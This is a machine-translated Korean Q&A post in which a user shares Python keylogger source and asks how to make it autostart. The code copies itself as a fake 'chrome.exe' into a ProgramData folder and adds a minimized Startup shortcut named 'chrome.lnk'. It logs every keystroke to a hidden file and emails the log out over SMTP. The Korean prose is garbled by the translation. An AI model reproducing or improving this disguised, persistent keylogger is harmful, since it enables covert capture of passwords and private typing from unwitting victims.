2017-11-25 6 views
-2

임에도 불구하고 새로운 코딩이 필요합니다. 도움이 필요합니다. Google의 예제를 사용하여 간단한 "키로거"를 만들었습니다. 모든 것이 잘 작동하지만 자동 시작 키로거를 자동 추가하는 방법을 모르겠습니다. 나는 자동으로 파일 복사를 시도했다. 관리자 권한으로 처음 실행 한 후 선택된 대상으로 가서 바로 가기를 자동 시작으로 보냈다. 그러나 문제는 컴퓨터를 재시작 할 때마다 관리자 권한이 필요하다는 것입니다. 즉, 경고 만하고, 스크립트 실행에 실패하고 스크립트가 다운되는 문제입니다. 나는 스크립트가 매번 시도 할 때 자동 시작에 파일을 추가하기 때문에 이미 존재한다고해도 그렇게 생각한다. 여기 코드는 내가 블록 ifexcept 시도 볼 수 있습니다,하지만 난 당신이 디렉토리에 액세스하는Python; 시작시 Keylogger가

import logging 
from pynput.keyboard import Key, Listener 

import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email import encoders 

import win32com.client 
import pythoncom 
import os 

import pathlib 
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True) 

import shutil 

srcfile = 'chrome.exe' 
dstroot = 'C:\ProgramData\degid' 
dstdir = os.path.join(dstroot, os.path.dirname(srcfile)) 
shutil.copy(srcfile, dstdir) 

filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 

if os.path.exists(filePath): 
    if os.path.isfile(filePath+'chrome.lnk')==False: 
     try: 
      desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 
      path = os.path.join(desktop, 'chrome.lnk') 
      target = r'C:\ProgramData\degid\chrome.exe' 
      shell = win32com.client.Dispatch("WScript.Shell") 
      shortcut = shell.CreateShortCut(path) 
      shortcut.Targetpath = target 
      shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal 
      shortcut.save() 
     except: 
      pass 

email_user = '' 
email_password = '' 
email_send = '' 

subject = '' 

msg = MIMEMultipart() 
msg['From'] = email_user 
msg['To'] = email_send 
msg['Subject'] = subject 

body = 'Hi there' 
msg.attach(MIMEText(body,'plain')) 

filename='C:\ProgramData\degid\degid.txt' 
attachment =open(filename,'rb') 

part = MIMEBase('application','octet-stream') 
part.set_payload((attachment).read()) 
encoders.encode_base64(part) 
part.add_header('Content-Disposition',"attachment; filename= "+filename) 

msg.attach(part) 
text = msg.as_string() 
server = smtplib.SMTP('', 587) 
server.starttls() 
server.login(email_user,email_password) 

server.sendmail(email_user,email_send,text) 
server.quit() 

log_dir ="" 

logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

답변

0

:(원하는처럼 여전히 나던 일이고 파일이 액세스가 필요 관리 prevs를 존재하는지 확인하려고으로한다 - 심지어 디렉토리를 읽는 것.

관련 문제